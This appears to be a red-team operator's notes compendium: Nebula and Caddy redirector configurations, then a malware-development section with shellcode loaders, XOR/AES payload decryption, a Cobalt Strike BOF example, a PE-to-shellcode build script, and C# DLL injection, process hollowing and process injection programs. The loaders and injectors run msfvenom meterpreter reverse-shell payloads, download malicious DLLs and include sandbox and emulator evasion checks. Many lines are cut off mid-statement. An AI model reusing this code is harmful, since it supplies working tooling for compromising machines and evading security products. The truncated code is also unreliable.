punch: true

tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:

logging:
level: info
format: text

firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000

outbound:
- port: any
proto: any
host: any

inbound:
- port: any
proto: icmp
host: any

- port: 80
proto: any
host: any

- port: 443
proto: any
host: any

- port: 4789
proto: any
host: any

- port: 22
proto: any
cidr: [Link]/24

Proxy

[Link]

pki:
ca: /opt/nebula/certs/[Link]
cert: /opt/nebula/certs/[Link]
key: /opt/nebula/certs/[Link]

static_host_map:
"[Link]": ["<LIGHTHOUSE_IP>:4242"]

lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "[Link]"

listen:
host: [Link]
port: 4242

punchy:
punch: true

tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:
logging:
level: info
format: text

firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000

outbound:
- port: any
proto: any
host: any

inbound:
- port: any
proto: icmp
host: any

- port: 80

proto: any
host: any

- port: 443
proto: any
host: any

- port: 4789
proto: any
host: any

- port: 22
proto: any
cidr: [Link]/24

Systemd unit:

/etc/systemd/system/[Link]
[Unit]
Description=nebula
Wants=[Link]
After=[Link] [Link]

[Service]
SyslogIdentifier=nebula
ExecReload=/bin/kill -HUP $MAINPID
ExecStart=/opt/nebula/nebula -config /opt/nebula/<CONFIG>.yml
Restart=always
[Install]
WantedBy=[Link]

Caddy

[Link]

[Link]

[Link]

[Link]

[Link]

Install:

$ sudo apt install debian-keyring debian-archive-keyring apt-transport-https -y


$ curl -1sLf '[Link] | sudo tee /etc/apt/truste
$ curl -1sLf '[Link] | sudo tee /etc/apt
$ sudo apt update
$ sudo apt install caddy -y
$ sudo rm /etc/caddy/Caddyfile && sudo vi /etc/caddy/Caddyfile
$ sudo systemctl restart caddy
$ sudo systemctl status caddy

Manually requesting Let's Encrypt certificate:

$ sudo apt install certbot -y


$ sudo certbot certonly --standalone -d [Link] --register-unsafely-without-email --agree-
$ sudo mkdir -p /opt/caddy/ssl
$ sudo cp /etc/letsencrypt/live/[Link]/{[Link],[Link]} /opt/caddy/ssl
$ sudo chown -R caddy:caddy /opt/caddy

Config sample to act as a reverse proxy:

/etc/caddy/Caddyfile
{
log
#debug
admin off
#auto_https disable_redirects
}

(logging) {
log {
output file /var/log/caddy-{args.0}-[Link] {
roll true
roll_size 1Mib
roll_local_time true
roll_keep 24
roll_keep_for 7d
}
}
}

(proxy-upstream) {
@ua_denylist {
header User-Agent curl*
}

@ip_denylist {
remote_ip [Link]/32
}

header {
-Server
+X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
+X-Content-Type-Options "nosniff"
}

respond @ua_denylist "Forbidden" 403 {


close
}

respond @ip_denylist "Forbidden" 403 {


close
}

reverse_proxy [Link] {
header_up Host {upstream_hostport}
header_up X-Forwarded-Host {host}
header_up X-Forwarded-Port {port}
transport http {
tls_insecure_skip_verify
}
}
}

[Link] {
import logging all
#tls /opt/caddy/ssl/[Link] /opt/caddy/ssl/[Link]

handle /files/* {
file_server {
# there should be this "files" directory in root
root /home/snovvcrash/www
#browse
}
}

handle {
import proxy-upstream
}
}

Malware Development

[Link]

EIKAR:

$ msfvenom -p windows/messagebox TITLE="EICAR" TEXT="X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDAR

Code Snippets

C++

XOR encryption:

void XOR(char* data, size_t data_len) {


const char key[] = "abcdefghjiklmnopqrstuvwxyz";

int j = 0;
for (int i = 0; i < data_len; i++) {
if (j == sizeof(key) - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}

AES encryption:

// Credit: Sektor7 RTO Malware Essential Course


int AESDecrypt(char* payload, unsigned int payload_len, char* key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) return -


if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) return -1;
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) return -1;
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) return -1;
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) ret

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}

Invoke the shellcode from an embed resource:

HRSRC scResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCE_BIN1), "RESOURCE_BIN");


DWORD shellcodeSize = SizeofResource(NULL, scResource);
HGLOBAL scResourceData = LoadResource(NULL, scResource);

unsigned char* shellcode;


shellcode = (unsigned char*)malloc(shellcodeSize);

memcpy(shellcode, scResourceData, shellcodeSize);

An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and
_AddressOfReturnAddress) without manually walking the stack:

[Link]
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>

// [Link]
template<class... Args>
void log(Args... args)
{
std::stringstream oss;
(oss << ... << args);
std::cout << [Link]() << std::endl;
}

// [Link]
void addressOfReturnAddress() {
auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // [Link]
log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std
}

// [Link]
void rtlCaptureStackBackTrace() {
typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAd
void* callers[2] = { NULL };
int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), st
}

int main(int argc, char** argv)


{
addressOfReturnAddress();
rtlCaptureStackBackTrace();
return 0;
}

Python

Run OS command:

[Link]
import subprocess, shlex

def run_command(command):
process = [Link]([Link](command), stdout=[Link])
while True:
output = [Link]().decode()
if output == '' and [Link]() is not None:
break
if output:
print([Link]())
res = [Link]()
return res

Blog Series

@0xPat

Malware development part 1 - basics


Malware development part 2 - anti dynamic analysis & sandboxes
Malware development part 3 - anti-debugging

Malware development part 4 - anti static analysis tricks


Malware development part 5 - tips & tricks
Malware development part 6 - advanced obfuscation with LLVM and template metaprogramming
Malware development part 7 - Secure Desktop keylogger
Malware development part 8 - COFF injection and in-memory execution
Malware development part 9 - hosting CLR and managed code injection

@cocomelonc

Malware development: persistence - part 1. Registry run keys

Malware development: persistence - part 2. Screensaver hijack

Malware development: persistence - part 3. COM DLL hijack

Malware development: persistence - part 4. Windows services


Malware development: persistence - part 5. AppInit_DLLs

Malware development: persistence - part 6. Windows netsh helper DLL


Malware AV evasion: part 7. Disable Windows Defender

@preemptdev

Maelstrom: An Introduction
Maelstrom: The C2 Architecture

Maelstrom: Building the Team Server


Maelstrom: Writing a C2 Implant
Maelstrom: EDR Kernel Callbacks, Hooks, and Call Stacks

Maelstrom: Working with AMSI and ETW for Red and Blue

@chvancooten

[PDF] Malware Development for Dummies (Cas van Cooten)


[Link]

API Hashing

[Link]
[Link]
shellcode-detection

Examples

[Link]
API Hooking

[Link]
using-c++

[Link]

[Link]

Examples

C++

[Link]
[Link]

C#

[Link]

Tools

[Link]
[Link]
[Link]

BOF / COFF
Beacon Object Files / Common Object File Format

Argument types for bof_pack:

Type Description Unpack With (C)

b binary data BeaconDataExtract

i 4-byte integer BeaconDataInt

s 2-byte short integer BeaconDataShort


z zero-terminated+encoded string BeaconDataExtract
Z zero-terminated wide-char string (wchar_t *)BeaconDataExtract

A basic BOF example:

BOF

msgbox.c
// wget [Link]
// x86_64-w64-mingw32-gcc -c msgbox.c -o msgbox.o

#include <windows.h>
#include "beacon.h"

void go(char* args, int len)


{

DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);

datap parser;
BeaconDataParse(&parser, args, len);

char* message;
message = BeaconDataExtract(&parser, NULL);

USER32$MessageBoxA(NULL, message, "Hello from BOF!", 0);


}

Aggressor

[Link]
alias msgbox {
local('$handle $bof $args');

# Read the bof file


$handle = openf(script_resource("msgbox.o"));
$bof = readb($handle, -1);
closef($handle);

# Pack args
$args = bof_pack($1, "z", $2);

# Print task to console


btask($1, "Running MessageBoxA BOF");

# Execute BOF
beacon_inline_execute($1, $bof, "go", $args);
}

beacon_command_register("msgbox", "Pops a message box", "Calls the MessageBoxA Win3

Run BOFs outside of CS

[Link]

[Link]

[Link]
[Link]

[Link]
[Link]

RunOF

[Link]
[Link]

An example of running the nanodump.x64.o BOF via RunOF fork from memory:

Compile [Link] assembly and convert it to a PowerShell invoker (see .NET Reflective Assembly)
Search for argument types that the target BOF uses (usually located in accompanying Aggressor
scripts):

curl -sSL '[Link] -sSL '[Link]


$args = bof_pack($1, "iziiiiiiiziiz", $pid, $dump_path, $write_file, $use_valid_sig, $fork
$args = bof_pack($1, "ziiiiizb", $dump_path, $use_valid_sig, $fork, $snapshot, $dup, $use_
$args = bof_pack($1, "z", $ssp_path);
$args = bof_pack($1, "z", $2);

Load the invoker into memory, fetch the BOF ( -u option) and run it providing necessary arguments with
their types like this:

PS > Invoke-RunOF -u [Link] '-i

Code Injection
[Link]
process

[Link]

[Link]

Shellcode as Function

[Link]

[Link]

[Link]
without-windows-apis

[Link]

[Link]
Snippets/blob/main/Linux%20Shellcode%20Loaders/simpleLoader.c

[Link]
Kit/blob/main/deprecated/badger_template.ps1

Windows

loader.c
#include <stdio.h>
#include <windows.h>

// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=1337 -f


// xxd -i [Link] > shellcode.h
#include "shellcode.h"

int main() {
DWORD lpThreadId = 0;
DWORD flOldProtect = 0;
int bufsize = sizeof(buf);
LPVOID f = VirtualAlloc(NULL, bufsize, MEM_RESERVER|MEM_COMMIT, PAGE_READWRITE)
for (int i = 0; i < (int)bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
memcpy(f, buf, bufsize);
VirtualProtect(f, bufsize, PAGE_EXECUTE_READ, &flOldProtect);
((void(*)())f)();
//VirtualFree(f, 0, MEM_RELEASE);
WaitForSingleObject((HANDLE)-1, -1);
return 0;
}
Linux

loader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=1337 -f c


unsigned char buf[] =
"\x31\x33\...\x33\x37";

int main (int argc, char **argv)


{
int bufsize = (int)sizeof(buf);

for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }


int (*ret)() = (int(*)())buf;
ret();
}

Compile allowing execution on stack:

$ gcc -o loader loader.c -z execstack

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)


[Link]

[Link]

[Link]

[Link]

[Link]
[Link]
[Link]

[Link]

[Link]

[Link]
[Link]
[Link]
[Link]

gargoyle

[Link]
[Link]
[Link]
[Link]
gargoyle/
[Link]
[Link]
[Link]

Memory Scanners

[Link]
[Link]

Thread Stack Spoofing


Thread Stack Frame Spoofing with Brute Ratel C4

[Link]
[Link]

[Link]
[Link]
[Link]
[Link]

PE to Shellcode

[Link]
[Link]
[Link]

Example with [Link] and donut (C# cross-compilation is done with Mono):

[Link]
RNDNAME=`curl -sL [Link]
wget [Link] -qO /tmp/

# --ldapusername snovvcrash --ldappassword Passw0rd!


~/tools/PEzor/deps/donut/donut -a2 -z2 -i /tmp/[Link] -p '--CollectionMethod All,Logge

BUF=`xxd -i /tmp/[Link] | head -n-2 | tail -n+2 | tr -d ' ' | tr -d '\n'`


BUFSIZE=`xxd -i /tmp/[Link] | tail -n1 | awk '{print $5}' | tr -d ';\n'`
cat << EOF > "/tmp/$[Link]"
using System;
using [Link];

namespace Sh4rpH0und
{
class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationTyp

[DllImport("[Link]")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr

[DllImport("[Link]")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

static void Main(string[] args)


{
byte[] buf = new byte[$BUFSIZE] { $BUF };
IntPtr addr = VirtualAlloc([Link], (ulong)[Link], 0x1000, 0x40);
[Link](buf, 0, addr, [Link]);
IntPtr hThread = CreateThread([Link], 0, addr, [Link], 0, [Link]);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
EOF

mcs -platform:x64 -t:winexe "/tmp/$[Link]" -out:"$[Link]"


file "$[Link]"
rm "/tmp/[Link]" "/tmp/[Link]" "/tmp/$[Link]"

This technique is enhanced and automated here.

PE Injection

[Link]
[Link]
[Link]
Shellcode Execution via Callbacks
[Link]
[Link]

[Link]

[Link]

CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx

EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource

Detection

[Link]
[Link]

Show P/Invoke imports in a .NET assembly with [Link] and PowerShell


Core (stolen from 1, 2):

$assembly = "\path\to\csharp\[Link]"
$stream = [[Link]]::OpenRead($assembly)
$peReader = [[Link]]::new($stream, [[Link].P
$metadataReader = [[Link]]::GetMetadataReader($peReader
$assemblyDefinition = $[Link]()

foreach($typeHandler in $[Link]) {
$typeDef = $[Link]($typeHandler)
foreach($methodHandler in $[Link]()) {
$methodDef = $[Link]($methodHandler)

$import = $[Link]()
if ($[Link]) {
continue
}

$dllImportFuncName = $[Link]($[Link])
$dllImportParameters = $[Link]()
$dllImportPath = $[Link]($[Link]($import
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}

Another method with a PowerShell one-liner:

([[Link]]::LoadFile("\path\to\csharp\[Link]")).GetTypes() | % {$_.GetM
T l
[Link]

[Link]

[Link]

[Link]

DLL Injectors
Inject DLLs into remote process's virtual address space

Classic DLL Injection

C# Executable

A simple C# DLL injector to explain the basics:

1. Allocate space for the malicious DLL in remote process's virtual address space.
2. Write the DLL contents into the allocated space.

3. Locate the address of the LoadLibraryA function in [Link] with GetModuleHandle and
GetProcAddress . Most Windows native DLLs are allocated at the same base address, so the
obtained address of LoadLibraryA will be the same for the remote process.
4. Invoke LoadLibraryA function on the behalf of the remote thread supplying base LoadLibraryA
address as the 4th argument of CreateRemoteThread and the name of the DLL to be loaded as the
5th argument.

All this is needed because LoadLibrary functions cannot be invoked natively on a remote process.

[Link]
using System;
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];

namespace DLLInjector
{
class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, ui

[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui

[DllImport("kernel32", CharSet = [Link], ExactSpelling = true, SetLastError = tr


static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("[Link]", CharSet = [Link])]


public static extern IntPtr GetModuleHandle(string lpModuleName);

static void Main(string[] args)


{
// Download the malicious DLL
String dirName = [Link]([Link]);
String dllName = dirName + "\\[Link]";
WebClient wc = new WebClient();
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 E

[Link]("[Link] dllName);

// Get remote process handle


Process[] pList = [Link]("explorer");
int processId = [Link]().Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);

// Allocate space for the DLL name in remote process's virtual address space and w
IntPtr dllAddress = VirtualAllocEx(hProcess, [Link], 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, dllAddress, [Link](dllName), dllNa

// Locate base address of the LoadLibraryA function in [Link] (this address


IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("[Link]"), "LoadL

// Invoke LoadLibraryA function in the remote process supplying starting address o


IntPtr hThread = CreateRemoteThread(hProcess, [Link], 0, loadLibraryAddress,
}
}
}

According to this template that MSF is using to generate a DLL, there's another injection
technique (Thread Execution Hijacking) in the DLL code itself which is invoked upon
DLL_PROCESS_ATTACH event. That causes the DLL not to be loaded in the target process
memory, but it rather forces new shellcode to be executed by [Link] and the malicios
process (meterpreter shell, etc.) gets the PID of [Link] . It may also result in hanging
the parent's process ( [Link] in terms of this example) and crashing it when the shell
dies.
Reflective DLL Injection

[Link]

[Link]

[Link]

[Link]

Invoke-ReflectivePEInjection

[Link]
ReflectivePEInjection.ps1

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 EXITFUNC=threa


PS > $bytes = (New-Object [Link]).DownloadData("[Link]
PS > Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId (Get-Process explorer).Id

Process Hollowing

Hollow with Shellcode

[Link]
Snippets/blob/main/Shellcode%20Process%20Hollowing/[Link]
[Link]

1. Create the target process (e.g., [Link] ) in a suspended state.


2. Query created process to extract its base address pointer from PEB (Process Environment Block).

3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get
the actual value of the image base address.

4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.
5. Write the shellcode to the EntryPoint address and resume thread execution.

[Link]
using System;
using [Link];

namespace ProcessHollower
{
class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int ProcessBasicInformation = 0;

[StructLayout([Link], CharSet = [Link])]


struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout([Link])]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}

[StructLayout([Link])]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}

[DllImport("[Link]", SetLastError = true, CharSet = [Link])]


static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPt

[DllImport("[Link]", CallingConvention = [Link])]


private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformati

[DllImport("[Link]", SetLastError = true)]


static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte

[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("[Link]", SetLastError = true)]


private static extern uint ResumeThread(IntPtr hThread);

[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();

static void Main(string[] args)


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), [Link], 0x1000, 0x3000, 0x4, 0) =
{
return;
}

// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = [Link];
Sleep(dream);
if ([Link](before).TotalSeconds < delta)
{
[Link]("Charles, get the rifle out. We're being fucked.");
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 -


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < [Link]; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');

// Create the target process (e.g., [Link]) in a suspended state


STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool res = CreateProcess(null, "C:\\Windows\\System32\\[Link]", [Link],

// Query created process to extract its base address pointer from PEB (Process Env
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = [Link];
ZwQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr
// Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)[Link] + 0x10);

// Read 8 bytes of memory ([Link] is 8 bytes for x64) pointed by the image ba
byte[] baseAddressBytes = new byte[[Link]];
IntPtr nRead = [Link];
ReadProcessMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressByte
// We're got bytes as a result of memory read, then converted them to Int64 and ca
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));

// Read 200 bytes of the loaded EXE image and parse PE structure to get the EntryP
byte[] data = new byte[0x200];
ReadProcessMemory(hProcess, imageBaseAddress, data, [Link], out nRead);
// "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lf
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
// EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfa
uint entrypointRvaOffset = e_lfanew + 0x28;
// EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPo
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
// Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + EN
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// Write the shellcode to the EntryPoint address and resume thread execution
WriteProcessMemory(hProcess, entrypointAddress, buf, [Link], out nRead);
ResumeThread([Link]);
}
}
}

Hollow with EXE

[Link]
[Link]

[Link]
image-relocations

Process Injectors
Inject shellcode into remote process's virtual address space

[Link]
[Link]

[Link]

Classic Process Injection

C# DLL via Win32 API

[Link]
Snippets/blob/main/Shellcode%20Process%20Injector/[Link]

Using standard Win32 API trio:

VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

[Link]
using System;
using [Link];
using [Link];

namespace ProcessInjector
{
public class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, ui

[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui

[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();

public static void Run()


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), [Link], 0x1000, 0x3000, 0x4, 0) =
{
return;
}

// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);
double delta = dream / 1000 - 0.5;
DateTime before = [Link];
Sleep(dream);
if ([Link](before).TotalSeconds < delta)
{
[Link]("Charles, get the rifle out. We're being fucked.");
return;
}

Process[] pList = [Link]("explorer");


if ([Link] == 0)
{
// [Link]("[-] No such process!");
[Link](1);
}
int processId = pList[0].Id;
// 0x001F0FFF = PROCESS_ALL_ACCESS
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
IntPtr addr = VirtualAllocEx(hProcess, [Link], 0x1000, 0x3000, 0x40);

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 E


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < [Link]; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buf, [Link], out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, [Link], 0, addr, [Link], 0


}
}
}

When selecting architecture during compilation, remember that there're 4 potential ways to
perform the migration:

1. 64-bit > 64-bit: succeeds.


2. 64-bit > 32-bit: succeeds.
3. 32-bit > 32-bit: succeeds.
4. 32-bit > 64-bit: fails due to CreateRemoteThread does not natively support it.

C# Executable via Native API

[Link]
ntmapviewofsection-code-injection

[Link]
Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/[Link]

Using Native API quadro:

NtCreateSection
NtMapViewOfSection
RtlCreateUserThread

NtUnmapViewOfSection
[Link]
using System;
using [Link];
using [Link];
using [Link];

namespace NtProcessInjector
{
public class Program
{
public const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
public const uint SECTION_MAP_READ = 0x0004;
public const uint SECTION_MAP_WRITE = 0x0002;
public const uint SECTION_MAP_EXECUTE = 0x0008;
public const uint PAGE_READ_WRITE = 0x04;
public const uint PAGE_READ_EXECUTE = 0x20;
public const uint PAGE_EXECUTE_READWRITE = 0x40;

public const uint SEC_COMMIT = 0x8000000;

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, I

[DllImport("[Link]", SetLastError = true)]


static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref

[DllImport("[Link]", SetLastError = true)]


static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);

[DllImport("[Link]", SetLastError = true)]


static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity,

[DllImport("[Link]", ExactSpelling = true, SetLastError = false)]


static extern int NtClose(IntPtr hObject);

[DllImport("[Link]")]
static extern void Sleep(uint dwMilliseconds);

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize

[DllImport("[Link]")]
static extern IntPtr GetCurrentProcess();

// BEGIN DEBUG (imports)


[DllImport("[Link]", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte

[DllImport("[Link]", CallingConvention = [Link])]


static extern int memcmp(byte[] b1, byte[] b2, UIntPtr count);

static bool CompareByteArray(byte[] b1, byte[] b2)


{
return [Link] == [Link] && memcmp(b1, b2, (UIntPtr)[Link]) == 0;
}
// END DEBUG

static void Main(string[] args)


{
// Check if we're in a sandbox by calling a rare-emulated API
if (VirtualAllocExNuma(GetCurrentProcess(), [Link], 0x1000, 0x3000, 0x4, 0) =
{
return;
}

// Sleep to evade in-memory scan + check if the emulator did not fast-forward thro
var rand = new Random();
uint dream = (uint)[Link](10000, 20000);

double delta = dream / 1000 - 0.5;


DateTime before = [Link];
Sleep(dream);
if ([Link](before).TotalSeconds < delta)
{
[Link]("Charles, get the rifle out. We're being fucked.");
return;
}

// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[Link] LPORT=443 E


byte[] buf = new byte[???] {
0x31,0x33,...,0x33,0x37 };

// XOR-decrypt the shellcode


for (int i = 0; i < [Link]; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'a');
}

int bufLength = [Link];


UInt32 uBufLength = (UInt32)bufLength;

// Get handle on a local process


IntPtr hLocalProcess = [Link]().Handle;

// Get handle on a remote process (by name)


string processName = args[0];
Process[] pList = [Link](processName);
if ([Link] == 0)
{
[Link]("[-] No such process");
return;
}
int processId = [Link]().Id;
IntPtr hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
if (hRemoteProcess == [Link])
{
[Link]("[-] Failed to open remote process");
return;
}

// Create RWX memory section for the shellcode


IntPtr hSection = new IntPtr();
if (NtCreateSection(ref hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_M
{
